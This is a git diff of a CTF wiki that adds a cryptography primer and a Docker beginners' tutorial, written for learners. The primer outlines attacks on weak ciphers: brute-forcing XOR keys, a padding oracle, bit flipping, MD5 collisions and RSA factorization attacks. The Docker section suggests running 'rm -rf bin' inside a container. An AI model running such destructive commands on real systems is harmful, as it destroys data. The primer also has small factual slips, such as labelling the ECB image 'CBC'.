Authoritarians thrive on censorship and secrecy. And they distrust voluntary cooperation and information-sharing — they only like the ‘cooperation’ that they control. So to behave like a hacker, you have to develop an instinctive hostility to censorship, secrecy, and the use of force or deception to compel responsible adults. And you have to be willing to act on that belief.

+

5. Attitude is no substitute for competence.

+

To be a hacker, you have to develop some of these attitudes. But copping an attitude alone won't make you a hacker, any more than it will make you a champion athlete or a rock star. Becoming a hacker will take intelligence, practice, dedication, and hard work.

+

Therefore, you have to learn to distrust attitudes and respect competence of every kind. Hackers won't let posers waste their time, but they worship competence — especially competence at hacking, but competence at anything is valued. Competence at demanding skills that few can master is especially good, and competence at demanding skills that involve mental acuteness, craft, and concentration is best.

+

If you revere competence, you'll enjoy developing it in yourself — the hard work and dedication will become a kind of intense play rather than drudgery. That attitude is vital to becoming a hacker.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CTF/Cryptography/index.html b/CTF/Cryptography/index.html new file mode 100644 index 000000000..666b9bcd1 --- /dev/null +++ b/CTF/Cryptography/index.html @@ -0,0 +1,9481 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Cryptography - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Cryptography

+
+

https://ctf101.org/cryptography/overview/

+
+

Cryptography is the reason we can use banking apps, transmit sensitive information over the web, and in general protect our privacy. However, a large part of CTFs is breaking widely used encryption schemes that are improperly implemented. The math may seem daunting, but more often than not, a simple understanding of the underlying principles will allow you to find flaws and crack the code.

+

The word “cryptography” technically means the art of writing codes. When it comes to digital forensics, it’s a method you can use to understand how data is constructed for your analysis.

+

What is cryptography used for?

+

Uses in everyday software

+
    +
  • Securing web traffic (passwords, communication, etc.)
  • +
  • Securing copyrighted software code
  • +
+

Malicious uses

+
    +
  • Hiding malicious communication
  • +
  • Hiding malicious code
  • +
+

Topics

+
    +
  • XOR
  • +
  • Cesear Cipher
  • +
  • Substitution Cipher
  • +
  • Vigenere Cipher
  • +
  • Hashing Functions
  • +
  • Block Ciphers
  • +
  • Stream Ciphers
  • +
  • RSA
  • +
+

XOR

+

Data Representation

+

Data can be represented in different bases, an 'A' needs to be a numerical representation of Base 2 or binary so computers can understand them

+

Data Representation

+

XOR Basics

+

An XOR or eXclusive OR is a bitwise operation indicated by ^ and shown by the following truth table:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ABA ^ B
000
011
101
110
+

So what XOR'ing bytes in the action 0xA0 ^ 0x2C translates to is:

+ + + + + + + + + + + + + + + + + + + + + + + + + +
10100000
00101100
+ + + + + + + + + + + + + + + + + + + + + + + + + +
10001100
+
0b10001100` is equivalent to `0x8C`, a cool property of XOR is that it is reversible meaning `0x8C ^ 0x2C = 0xA0` and `0x8C ^ 0xA0 = 0x2C
+
+

XOR Basics

+

What does this have to do with CTF?

+

XOR is a cheap way to encrypt data with a password. Any data can be encrypted using XOR as shown in this Python example:

+
>>> data = 'CAPTURETHEFLAG'
+>>> key = 'A'
+>>> encrypted = ''.join([chr(ord(x) ^ ord(key)) for x in data])
+>>> encrypted
+'\x02\x00\x11\x15\x14\x13\x04\x15\t\x04\x07\r\x00\x06'
+>>> decrypted = ''.join([chr(ord(x) ^ ord(key)) for x in encrypted])
+>>> decrypted
+'CAPTURETHEFLAG'
+
+

This can be extended using a multibyte key by iterating in parallel with the data.

+

Exploiting XOR Encryption

+

Single Byte XOR Encryption

+

Single Byte XOR Encryption is trivial to bruteforce as there are only 255 key combinations to try.

+

Multibyte XOR Encryption

+

Multibyte XOR gets exponentially harder the longer the key, but if the encrypted text is long enough, character frequency analysis is a viable method to find the key. Character Frequency Analysis means that we split the cipher text into groups based on the number of characters in the key. These groups then are bruteforced using the idea that some letters appear more frequently in the English alphabet than others.

+

Substitution Cipher

+

A Substitution Cipher is a system of encryption where different symbols substitute a normal alphabet.

+

Substitution Cipher

+

Caesar Cipher/ROT 13

+

The Caesar Cipher or Caesar Shift is a cipher that uses the alphabet to encode texts.

+
CAESAR` encoded with a shift of 8 is `KIMAIZ` so `ABCDEFGHIJKLMNOPQRSTUVWXYZ` becomes `IJKLMNOPQRSTUVWXYZABCDEFGH
+
+

ROT13 is the same thing but a fixed shift of 13, this is a trivial cipher to bruteforce because there are only 25 shifts.

+

Caesar Cipher

+

Vigenere Cipher

+

A Vigenere Cipher is an extended Caesar Cipher where a message is encrypted using various Caesar-shifted alphabets.

+

The following table can be used to encode a message:

+

Vigenere Square

+

Encryption

+

For example, encrypting the text SUPERSECRET with CODE would follow this process:

+
    +
  1. CODE gets padded to the length of SUPERSECRET so the key becomes CODECODECOD
  2. +
  3. For each letter in SUPERSECRET we use the table to get the Alphabet to use, in this instance row C and column S
  4. +
  5. The ciphertext's first letter then becomes U
  6. +
  7. We eventually get UISITGHGTSW
  8. +
+

Decryption

+
    +
  1. Go to the row of the key, in this case, C
  2. +
  3. Find the letter of the cipher text in this row, in this case U
  4. +
  5. The column is the first letter of the decrypted ciphertext, so we get S
  6. +
  7. After repeating this process we get back to SUPERSECRET
  8. +
+

Hashing Functions

+

Hashing functions are one-way functions that theoretically provide a unique output for every input. MD5, SHA-1, and other hashes which were considered secure are now found to have collisions or two different pieces of data which produce the same supposed unique output.

+

String Hashing

+

A string hash is a number or string generated using an algorithm that runs on text or data.

+

The idea is that each hash should be unique to the text or data (although sometimes it isn’t). For example, the hash for “dog” should be different from other hashes.

+

You can use command line tools or online resources such as this one. Example: $ echo -n password | md5 5f4dcc3b5aa765d61d8327deb882cf99 Here, “password” is hashed with different hashing algorithms:

+
    +
  • SHA-1: 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
  • +
  • SHA-2: 5E884898DA28047151D0E56F8DC6292773603D0D6AABBDD62A11EF721D1542D8
  • +
  • MD5: 5F4DCC3B5AA765D61D8327DEB882CF99
  • +
  • CRC32: BBEDA74F
  • +
+

Generally, when verifying a hash visually, you can simply look at the first and last four characters of the string.

+

File Hashing

+

A file hash is a number or string generated using an algorithm that is run on text or data. The premise is that it should be unique to the text or data. If the file or text changes in any way, the hash will change.

+

What is it used for? - File and data identification - Password/certificate storage comparison

+

How can we determine the hash of a file? You can use the md5sum command (or similar).

+
$ md5sum samplefile.txt
+3b85ec9ab2984b91070128be6aae25eb samplefile.txt
+
+

Hash Collisions

+

A collision is when two pieces of data or text have the same cryptographic hash. This is very rare.

+

What’s significant about collisions is that they can be used to crack password hashes. Passwords are usually stored as hashes on a computer since it’s hard to get the passwords from hashes.

+

Password to Hash

+

If you bruteforce by trying every possible piece of text or data, eventually you’ll find something with the same hash. Enter it, and the computer accepts it as if you entered the actual password.

+

Two different files on the same hard drive with the same cryptographic hash can be very interesting.

+

“It’s now well-known that the cryptographic hash function MD5 has been broken,” said Peter Selinger of Dalhousie University. “In March 2005, Xiaoyun Wang and Hongbo Yu of Shandong University in China published an article in which they described an algorithm that can find two different sequences of 128 bytes with the same MD5 hash.”

+

For example, he cited this famous pair:

+

Password to Hash

+

and

+

Password to Hash

+

Each of these blocks has MD5 hash 79054025255fb1a26e4bc422aef54eb4.

+

Selinger said that “the algorithm of Wang and Yu can be used to create files of arbitrary length that have identical MD5 hashes, and that differ only in 128 bytes somewhere in the middle of the file. Several people have used this technique to create pairs of interesting files with identical MD5 hashes.”

+

Ben Laurie has a nice website that visualizes this MD5 collision. For a non-technical, though slightly outdated, introduction to hash functions, see Steve Friedl’s Illustrated Guide. And here’s a good article from DFI News that explores the same topic.

+

Block Ciphers

+

A Block Cipher is an algorithm that is used in conjunction with a cryptosystem to package a message into evenly distributed 'blocks' which are encrypted one at a time.

+

Definitions

+
    +
  • Mode of Operation: How a block cipher is applied to an amount of data that exceeds a block's size
  • +
  • Initialization Vector (IV): A sequence of bytes that is used to randomize encryption even if the same plaintext is encrypted
  • +
  • Starting Variable (SV): Similar to the IV, except it is used during the first block to provide a random seed during encryption
  • +
  • Padding: Padding is used to ensure that the block sizes all line up and ensure the last block fits the block cipher
  • +
  • Plaintext: Unencrypted text; Data without obfuscation
  • +
  • Key: A secret used to encrypt plaintext
  • +
  • Ciphertext: Plaintext encrypted with a key
  • +
+

Common Block Ciphers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ModeFormulasCiphertext
ECBYi = F(PlainTexti, Key)Yi
CBCYi = PlainTexti XOR Ciphertexti-1F(Y, key); Ciphertext0 = IV
PCBCYi = PlainTexti XOR (Ciphertexti-1 XOR PlainTexti-1)F(Y, key); Ciphertext0 = IV
CFBYi = Ciphertexti-1Plaintext XOR F(Y, key); Ciphertext0 = IV
OFBYi = F(Key, Ii-1);Y0=IVPlaintext XOR Yi
CTRYi = F(Key, IV + g(i));IV = token();Plaintext XOR Yi
+

Note

+

In this case, i represents an index over the # of blocks in the plaintext. F() and g() represent the function used to convert plaintext into ciphertext.

+

Electronic Codebook (ECB)

+

ECB is the most basic block cipher, it simply chunks up plaintext into blocks and independently encrypts those blocks, and chains them all into a ciphertext.

+

ECB Encryption ECB Decryption

+
Flaws
+

Because ECB independently encrypts the blocks, patterns in data can still be seen clearly, as shown in the CBC Penguin image below.

+ + + + + + + + + + + + + + + +
Original ImageECB ImageOther Block Cipher Modes
TuxECB TuxOther Tux
+

Cipher Block Chaining (CBC)

+

CBC is an improvement upon ECB where an Initialization Vector is used to add randomness. The encrypted previous block is used as the IV for each sequential block meaning that the encryption process cannot be parallelized. CBC has been declining in popularity due to a variety of

+

CBC Encryption CBC Decryption

+

Note

+

Even though the encryption process cannot be parallelized, the decryption process can be parallelized. If the wrong IV is used for decryption it will only affect the first block as the decryption of all other blocks depends on the ciphertext not the plaintext.

+

Propagating Cipher Block Chaining (PCBC)

+

PCBC is a less-used cipher that modifies CBC so that decryption is also not parallelizable. It also cannot be decrypted from any point as changes made during the decryption and encryption process "propagate" throughout the blocks, meaning that both the plaintext and ciphertext are used when encrypting or decrypting as seen in the images below.

+

PCBC Encryption PCBC Decryption

+

Counter (CTR)

+

Note

+

The counter is also known as CM, integer counter mode (ICM), and segmented integer counter (SIC)

+

CTR mode makes the block cipher similar to a stream cipher and it functions by adding a counter with each block in combination with a nonce and key to XOR the plaintext to produce the ciphertext. Similarly, the decryption process is the same except instead of XORing the plaintext, the ciphertext is XORed. This means that the process is parallelizable for both encryption and decryption and you can begin from anywhere as the counter for any block can be deduced easily.

+

CTR Encryption CTR Decryption

+
Security Considerations
+

If the nonce chosen is non-random, it is important to concatenate the nonce with the counter (high 64 bits to the nonce, low 64 bits to the counter) as adding or XORing the nonce with the counter would break security as an attacker can cause a collision with the nonce and counter. An attacker with access to providing a plaintext, nonce, and counter can then decrypt a block by using the ciphertext as seen in the decryption image.

+

Padding Oracle Attack

+

A Padding Oracle Attack sounds complex but essentially means abusing a block cipher by changing the length of input and being able to determine the plaintext.

+

Requirements

+
    +
  • An oracle, or program, which encrypts data using CBC
  • +
  • Continual use of the same key
  • +
+

Execution

+
    +
  1. If we have two blocks of ciphertext, C1, and C2, we can get the plaintext P2
  2. +
  3. Since we know that CBC decryption is dependent on the prior ciphertext if we change the last byte of C1 we can see if C2 has the correct padding
  4. +
  5. If it is correctly padded we know that the last byte of the plaintext
  6. +
  7. If not, we can increase our byte by one and repeat until we have a successful padding
  8. +
  9. We then repeat this for all successive bytes following C1 and if the block is 16 bytes we can expect a maximum of 4080 attempts which is trivial
  10. +
+

Stream Ciphers

+

A Stream Cipher is used for symmetric key cryptography, or when the same key is used to encrypt and decrypt data. Stream Ciphers encrypt pseudorandom sequences with bits of plaintext to generate ciphertext, usually with XOR. A good way to think about Stream Ciphers is to think of them as generating one-time pads from a given state.

+

Definitions

+
    +
  • A keystream is a sequence of pseudorandom digits that extend to the length of the plaintext to uniquely encrypt each character based on the corresponding digit in the keystream
  • +
+

One-Time Pads

+

A one-time pad is an encryption mechanism whereby the entire plaintext is XOR'd with a random sequence of numbers to generate a random ciphertext. The advantage of the one-time pad is that it offers an immense amount of security BUT for it to be useful, the randomly generated key must be distributed on a separate secure channel, meaning that one-time pads have little use in modern-day cryptographic applications on the internet. Stream ciphers extend upon this idea by using a key, usually 128-bit in length, to seed a pseudorandom keystream which is used to encrypt the text.

+

Types of Stream Ciphers

+

Synchronous Stream Ciphers

+

A Synchronous Stream Cipher generates a keystream based on internal states not related to the plaintext or ciphertext. This means that the stream is generated pseudorandomly outside of the context of what is being encrypted. A binary additive stream cipher is the term used for a stream cipher in which XOR's the bits with the bits of the plaintext. Encryption and decryption require that the synchronous state cipher is in the same state, otherwise, the message cannot be decrypted.

+

Self-synchronizing Stream Ciphers

+

A Self-synchronizing Stream Cipher, also known as an asynchronous stream cipher or ciphertext autokey (CTAK), is a stream cipher that uses the previous N digits to compute the keystream used for the next N characters.

+

Note

+

Seems a lot like block ciphers doesn't it? That's because block cipher feedback mode (CFB) is an example of a self-synchronizing stream cipher.

+

Stream Cipher Vulnerabilities

+

Key Reuse

+

The key tenet of using stream ciphers securely is to NEVER repeat key use because of the commutative property of XOR. If C1 and C2 have been XOR'd with a key K, retrieving that key K is trivial because C1 XOR C2 = P1 XOR P2, and having an English language-based XOR means that cryptoanalysis tools such as a character frequency analysis will work well due to the low entropy of the English language.

+

Bit-flipping Attack

+

Another key tenet of using stream ciphers securely is considering that just because a message has been decrypted, it does not mean the message has not been tampered with. Because decryption is based on state, if an attacker knows the layout of the plaintext, a Man in the Middle (MITM) attack can flip a bit during transit altering the underlying ciphertext. If a ciphertext decrypts to 'Transfer $1000', then a middleman can flip a single bit for the ciphertext to decrypt to 'Transfer $9000' because changing a single character in the ciphertext does not affect the state in a synchronous stream cipher.

+

RSA

+

RSA, which is an abbreviation of the author's name (Rivest–Shamir–Adleman), is a cryptosystem that allows for asymmetric encryption. Asymmetric cryptosystems are also commonly referred to as Public Key Cryptography where a public key is used to encrypt data and only a secret, a private key can be used to decrypt the data.

+

Definitions

+
    +
  • The Public Key is made up of (n, e)
  • +
  • The Private Key is made up of (n, d)
  • +
  • The message is represented as m and is converted into a number
  • +
  • The encrypted message or ciphertext is represented by c
  • +
  • p and q are prime numbers which make up n
  • +
  • e is the public exponent
  • +
  • n is the modulus and its length in bits is the bit length (i.e. 1024 bit RSA)
  • +
  • d is the private exponent
  • +
  • The totient λ(n) is used to compute d and is equal to the lcm(p-1, q-1), another definition for λ(n) is that λ(pq) = lcm(λ(p), λ(q))
  • +
+

What makes RSA viable?

+

If public n, public e, private d are all very large numbers and a message m holds true for 0 < m < n, then we can say:

+
+

(m^e)dm (mod n)

+
+

Note

+

The triple equals sign in this case refers to modular congruence which in this case means that there exists an integer k such that (m^e)d = kn + m

+

RSA is viable because it is incredibly hard to find d even with m, n, and e because factoring large numbers is an arduous process.

+

Implementation

+

RSA follows 4 steps to be implemented: 1. Key Generation 2. Encryption 3. Decryption

+

Key Generation

+

We are going to follow Wikipedia's small numbers example to make this idea a bit easier to understand.

+

Note

+

In This example, we are using Carmichael's totient function where λ(n) = lcm(λ(p), λ(q)), but Euler's totient function is perfectly valid to use with RSA. Euler's totient is φ(n) = (p − 1)(q − 1)

+
    +
  1. Choose two prime numbers such as:
  2. +
  3. p = 61 and q = 53
  4. +
  5. Find n:
  6. +
  7. n = pq = 3233
  8. +
  9. Calculate λ(n) = lcm(p-1, q-1)
  10. +
  11. λ(3233) = lcm(60, 52) = 780
  12. +
  13. Choose a public exponent such that 1 < e < λ(n) and is coprime (not a factor of) λ(n). The standard in most cases is 65537, but we will be using:
  14. +
  15. e = 17
  16. +
  17. Calculate d as the modular multiplicative inverse or in English find d such that: de mod λ(n) = 1
  18. +
  19. d * 17 mod 780 = 1
  20. +
  21. d = 413
  22. +
+

Now we have a public key of (3233, 17) and a private key of (3233, 413)

+

Encryption

+

With the public key, m can be encrypted trivially

+

The ciphertext is equal to me mod n or:

+

c = m^17 mod 3233

+

Decryption

+

With the private key, m can be decrypted trivially as well

+

The plaintext is equal to cd mod n or:

+

m = c^413 mod 3233

+

Exploitation

+

From the RsaCtfTool README

+
+

Attacks:

+
    +
  • Weak public key factorization
  • +
  • Wiener's attack
  • +
  • Hastad's attack (Small public exponent attack)
  • +
  • Small q (q < 100,000)
  • +
  • Common factor between ciphertext and modulus attack
  • +
  • Fermat's factorization for close p and q
  • +
  • Gimmicky Primes method
  • +
  • Past CTF Primes method
  • +
  • Self-Initializing Quadratic Sieve (SIQS) using Yafu
  • +
  • Common factor attacks across multiple keys
  • +
  • Small fractions method when p/q is close to a small fraction
  • +
  • Boneh Durfee Method when the private exponent d is too small compared to the modulus (i.e d < n^0.292)
  • +
  • Elliptic Curve Method
  • +
  • Pollards p-1 for relatively smooth numbers
  • +
  • Mersenne primes factorization
  • +
+
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CTF/Docker/index.html b/CTF/Docker/index.html new file mode 100644 index 000000000..8d65ea757 --- /dev/null +++ b/CTF/Docker/index.html @@ -0,0 +1,9832 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Docker for beginners - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Docker for beginners

+
+

https://docker-curriculum.com/

+

by Prakhar Srivastav

+
+

Introduction

+

What is Docker?

+

Wikipedia defines Docker as

+
+

an open-source project that automates the deployment of software applications inside containers by providing an additional layer of abstraction and automation of OS-level virtualization on Linux.

+
+

Wow! That's a mouthful. In simpler words, Docker is a tool that allows developers, sys-admins, etc. to easily deploy their applications in a sandbox (called containers) to run on the host operating system i.e. Linux. The key benefit of Docker is that it allows users to package an application with all of its dependencies into a standardized unit for software development. Unlike virtual machines, containers do not have high overhead and hence enable more efficient usage of the underlying system and resources.

+

What are containers?

+

The industry standard today is to use Virtual Machines (VMs) to run software applications. VMs run applications inside a guest Operating System, which runs on virtual hardware powered by the server’s host OS.

+

VMs are great at providing full process isolation for applications: there are very few ways a problem in the host operating system can affect the software running in the guest operating system, and vice-versa. But this isolation comes at a great cost — the computational overhead spent virtualizing hardware for a guest OS to use is substantial.

+

Containers take a different approach: by leveraging the low-level mechanics of the host operating system, containers provide most of the isolation of virtual machines at a fraction of the computing power.

+

Why use containers?

+

Containers offer a logical packaging mechanism in which applications can be abstracted from the environment in which they run. This decoupling allows container-based applications to be deployed easily and consistently, regardless of whether the target environment is a private data center, the public cloud, or even a developer’s laptop. This gives developers the ability to create predictable environments that are isolated from the rest of the applications and can be run anywhere.

+

From an operations standpoint, apart from portability containers also give more granular control over resources giving your infrastructure improved efficiency which can result in better utilization of your compute resources.

+

Docker interest over time

+

Google Trends for Docker

+

Due to these benefits, containers (& Docker) have seen widespread adoption. Companies like Google, Facebook, Netflix, and Salesforce leverage containers to make large engineering teams more productive and to improve the utilization of computing resources. Google credited containers for eliminating the need for an entire data center.

+

What will this tutorial teach me?

+

This tutorial aims to be the one-stop shop for getting your hands dirty with Docker. Apart from demystifying the Docker landscape, it'll give you hands-on experience building and deploying your web apps on the Cloud. We'll be using Amazon Web Services to deploy a static website, and two dynamic web apps on EC2 using Elastic Beanstalk and Elastic Container Service. Even if you have no prior experience with deployments, this tutorial should be all you need to get started.

+

GETTING STARTED

+

This document contains a series of several sections, each of which explains a particular aspect of Docker. We will be typing commands (or writing code) in each section. All the code used in the tutorial is available in the GitHub repo.

+
+

Note: This tutorial uses version 18.05.0-ce of Docker. If you find any part of the tutorial incompatible with a future version, please raise an issue. Thanks!

+
+

Prerequisites

+

There are no specific skills needed for this tutorial beyond a basic comfort with the command line and using a text editor. This tutorial uses git clone to clone the repository locally. If you don't have Git installed on your system, either install it or remember to manually download the zip files from Github. Prior experience in developing web applications will be helpful but is not required. As we proceed further along the tutorial, we'll make use of a few cloud services. If you're interested in following along, please create an account on each of these websites:

+ +

Setting up your computer

+

Getting all the tooling setup on your computer can be a daunting task, but thankfully as Docker has become stable, getting Docker up and running on your favorite OS has become very easy.

+

Until a few releases ago, running Docker on OSX and Windows was quite a hassle. Lately however, Docker has invested significantly into improving the on-boarding experience for its users on these OSes, thus running Docker now is a cakewalk. The getting started guide on Docker has detailed instructions for setting up Docker on Mac, Linux and Windows.

+

Once you are done installing Docker, test your Docker installation by running the following:

+
$ docker run hello-world
+
+Hello from Docker.
+This message shows that your installation appears to be working correctly.
+...
+
+

HELLO WORLD

+

Playing with Busybox

+

Now that we have everything setup, it's time to get our hands dirty. In this section, we are going to run a Busybox container on our system and get a taste of the docker run command.

+

To get started, let's run the following in our terminal:

+
$ docker pull busybox
+
+
+

Note: Depending on how you've installed docker on your system, you might see a permission denied error after running the above command. If you're on a Mac, make sure the Docker engine is running. If you're on Linux, then prefix your docker commands with sudo. Alternatively, you can create a docker group to get rid of this issue.

+
+

The pull command fetches the busybox image from the Docker registry and saves it to our system. You can use the docker images command to see a list of all images on your system.

+
$ docker images
+REPOSITORY              TAG                 IMAGE ID            CREATED             VIRTUAL SIZE
+busybox                 latest              c51f86c28340        4 weeks ago         1.109 MB
+
+

Docker Run

+

Great! Let's now run a Docker container based on this image. To do that we are going to use the almighty docker run command.

+
$ docker run busybox
+
+

Wait, nothing happened! Is that a bug? Well, no. Behind the scenes, a lot of stuff happened. When you call run, the Docker client finds the image (busybox in this case), loads up the container and then runs a command in that container. When we run docker run busybox, we didn't provide a command, so the container booted up, ran an empty command and then exited. Well, yeah - kind of a bummer. Let's try something more exciting.

+
$ docker run busybox echo "hello from busybox"
+hello from busybox
+
+

Nice - finally we see some output. In this case, the Docker client dutifully ran the echo command in our busybox container and then exited it. If you've noticed, all of that happened pretty quickly. Imagine booting up a virtual machine, running a command and then killing it. Now you know why they say containers are fast! Ok, now it's time to see the docker ps command. The docker ps command shows you all containers that are currently running.

+
$ docker ps
+CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
+
+

Since no containers are running, we see a blank line. Let's try a more useful variant: docker ps -a

+
$ docker ps -a
+CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS                      PORTS               NAMES
+305297d7a235        busybox             "uptime"            11 minutes ago      Exited (0) 11 minutes ago                       distracted_goldstine
+ff0a5c3750b9        busybox             "sh"                12 minutes ago      Exited (0) 12 minutes ago                       elated_ramanujan
+14e5bd11d164        hello-world         "/hello"            2 minutes ago       Exited (0) 2 minutes ago                        thirsty_euclid
+
+

So what we see above is a list of all containers that we ran. Do notice that the STATUS column shows that these containers exited a few minutes ago.

+

You're probably wondering if there is a way to run more than just one command in a container. Let's try that now:

+
$ docker run -it busybox sh
+/ # ls
+bin   dev   etc   home  proc  root  sys   tmp   usr   var
+/ # uptime
+ 05:45:21 up  5:58,  0 users,  load average: 0.00, 0.01, 0.04
+
+

Running the run command with the -it flags attaches us to an interactive tty in the container. Now we can run as many commands in the container as we want. Take some time to run your favorite commands.

+
+

Danger Zone: If you're feeling particularly adventurous you can try rm -rf bin in the container. Make sure you run this command in the container and not in your laptop/desktop. Doing this will make any other commands like ls, uptime not work. Once everything stops working, you can exit the container (type exit and press Enter) and then start it up again with the docker run -it busybox sh command. Since Docker creates a new container every time, everything should start working again.

+
+

That concludes a whirlwind tour of the mighty docker run command, which would most likely be the command you'll use most often. It makes sense to spend some time getting comfortable with it. To find out more about run, use docker run --help to see a list of all flags it supports. As we proceed further, we'll see a few more variants of docker run.

+

Before we move ahead though, let's quickly talk about deleting containers. We saw above that we can still see remnants of the container even after we've exited by running docker ps -a. Throughout this tutorial, you'll run docker run multiple times and leaving stray containers will eat up disk space. Hence, as a rule of thumb, I clean up containers once I'm done with them. To do that, you can run the docker rm command. Just copy the container IDs from above and paste them alongside the command.

+
$ docker rm 305297d7a235 ff0a5c3750b9
+305297d7a235
+ff0a5c3750b9
+
+

On deletion, you should see the IDs echoed back to you. If you have a bunch of containers to delete in one go, copy-pasting IDs can be tedious. In that case, you can simply run -

+
$ docker rm $(docker ps -a -q -f status=exited)
+
+

This command deletes all containers that have a status of exited. In case you're wondering, the -q flag, only returns the numeric IDs and -f filters output based on conditions provided. One last thing that'll be useful is the --rm flag that can be passed to docker run which automatically deletes the container once it's exited from. For one off docker runs, --rm flag is very useful.

+

In later versions of Docker, the docker container prune command can be used to achieve the same effect.

+
$ docker container prune
+WARNING! This will remove all stopped containers.
+Are you sure you want to continue? [y/N] y
+Deleted Containers:
+4a7f7eebae0f63178aff7eb0aa39f0627a203ab2df258c1a00b456cf20063
+f98f9c2aa1eaf727e4ec9c0283bcaa4762fbdba7f26191f26c97f64090360
+
+Total reclaimed space: 212 B
+
+

Lastly, you can also delete images that you no longer need by running docker rmi.

+

Terminology

+

In the last section, we used a lot of Docker-specific jargon which might be confusing to some. So before we go further, let me clarify some terminology that is used frequently in the Docker ecosystem.

+
    +
  • Images - The blueprints of our application which form the basis of containers. In the demo above, we used the docker pull command to download the busybox image.
  • +
  • Containers - Created from Docker images and run the actual application. We create a container using docker run which we did using the busybox image that we downloaded. A list of running containers can be seen using the docker ps command.
  • +
  • Docker Daemon - The background service running on the host that manages building, running and distributing Docker containers. The daemon is the process that runs in the operating system which clients talk to.
  • +
  • Docker Client - The command line tool that allows the user to interact with the daemon. More generally, there can be other forms of clients too - such as Kitematic which provide a GUI to the users.
  • +
  • Docker Hub - A registry of Docker images. You can think of the registry as a directory of all available Docker images. If required, one can host their own Docker registries and can use them for pulling images.
  • +
+

WEBAPPS WITH DOCKER

+

Great! So we have now looked at docker run, played with a Docker container and also got a hang of some terminology. Armed with all this knowledge, we are now ready to get to the real-stuff, i.e. deploying web applications with Docker!

+

Static Sites

+

Let's start by taking baby-steps. The first thing we're going to look at is how we can run a dead-simple static website. We're going to pull a Docker image from Docker Hub, run the container and see how easy it is to run a webserver.

+

Let's begin. The image that we are going to use is a single-page website that I've already created for the purpose of this demo and hosted on the registry - prakhar1989/static-site. We can download and run the image directly in one go using docker run. As noted above, the --rm flag automatically removes the container when it exits and the -it flag specifies an interactive terminal which makes it easier to kill the container with Ctrl+C (on windows).

+
$ docker run --rm -it prakhar1989/static-site
+
+

Since the image doesn't exist locally, the client will first fetch the image from the registry and then run the image. If all goes well, you should see a Nginx is running... message in your terminal. Okay now that the server is running, how to see the website? What port is it running on? And more importantly, how do we access the container directly from our host machine? Hit Ctrl+C to stop the container.

+

Well, in this case, the client is not exposing any ports so we need to re-run the docker run command to publish ports. While we're at it, we should also find a way so that our terminal is not attached to the running container. This way, you can happily close your terminal and keep the container running. This is called detached mode.

+
$ docker run -d -P --name static-site prakhar1989/static-site
+e61d12292d69556eabe2a44c16cbd54486b2527e2ce4f95438e504afb7b02810
+
+

In the above command, -d will detach our terminal, -P will publish all exposed ports to random ports and finally --name corresponds to a name we want to give. Now we can see the ports by running the docker port [CONTAINER] command

+
$ docker port static-site
+80/tcp -> 0.0.0.0:32769
+443/tcp -> 0.0.0.0:32768
+
+

You can open http://localhost:32769 in your browser.

+
+

Note: If you're using docker-toolbox, then you might need to use docker-machine ip default to get the IP.

+
+

You can also specify a custom port to which the client will forward connections to the container.

+
$ docker run -p 8888:80 prakhar1989/static-site
+Nginx is running...
+
+

static site

+

To stop a detached container, run docker stop by giving the container ID. In this case, we can use the name static-site we used to start the container.

+
$ docker stop static-site
+static-site
+
+

I'm sure you agree that was super simple. To deploy this on a real server you would just need to install Docker, and run the above Docker command. Now that you've seen how to run a webserver inside a Docker image, you must be wondering - how do I create my own Docker image? This is the question we'll be exploring in the next section.

+

Docker Images

+

We've looked at images before, but in this section we'll dive deeper into what Docker images are and build our own image! Lastly, we'll also use that image to run our application locally and finally deploy on AWS to share it with our friends! Excited? Great! Let's get started.

+

Docker images are the basis of containers. In the previous example, we pulled the Busybox image from the registry and asked the Docker client to run a container based on that image. To see the list of images that are available locally, use the docker images command.

+
$ docker images
+REPOSITORY                      TAG                 IMAGE ID            CREATED             VIRTUAL SIZE
+prakhar1989/catnip              latest              c7ffb5626a50        2 hours ago         697.9 MB
+prakhar1989/static-site         latest              b270625a1631        21 hours ago        133.9 MB
+python                          3-onbuild           cf4002b2c383        5 days ago          688.8 MB
+martin/docker-cleanup-volumes   latest              b42990daaca2        7 weeks ago         22.14 MB
+ubuntu                          latest              e9ae3c220b23        7 weeks ago         187.9 MB
+busybox                         latest              c51f86c28340        9 weeks ago         1.109 MB
+hello-world                     latest              0a6ba66e537a        11 weeks ago        960 B
+
+

The above gives a list of images that I've pulled from the registry, along with ones that I've created myself (we'll shortly see how). The TAG refers to a particular snapshot of the image and the IMAGE ID is the corresponding unique identifier for that image.

+

For simplicity, you can think of an image akin to a git repository - images can be committed with changes and have multiple versions. If you don't provide a specific version number, the client defaults to latest. For example, you can pull a specific version of ubuntu image

+
$ docker pull ubuntu:18.04
+
+

To get a new Docker image you can either get it from a registry (such as the Docker Hub) or create your own. There are tens of thousands of images available on Docker Hub. You can also search for images directly from the command line using docker search.

+

An important distinction to be aware of when it comes to images is the difference between base and child images.

+
    +
  • Base images are images that have no parent image, usually images with an OS like ubuntu, busybox or debian.
  • +
  • Child images are images that build on base images and add additional functionality.
  • +
+

Then there are official and user images, which can be both base and child images.

+
    +
  • Official images are images that are officially maintained and supported by the folks at Docker. These are typically one word long. In the list of images above, the python, ubuntu, busybox and hello-world images are official images.
  • +
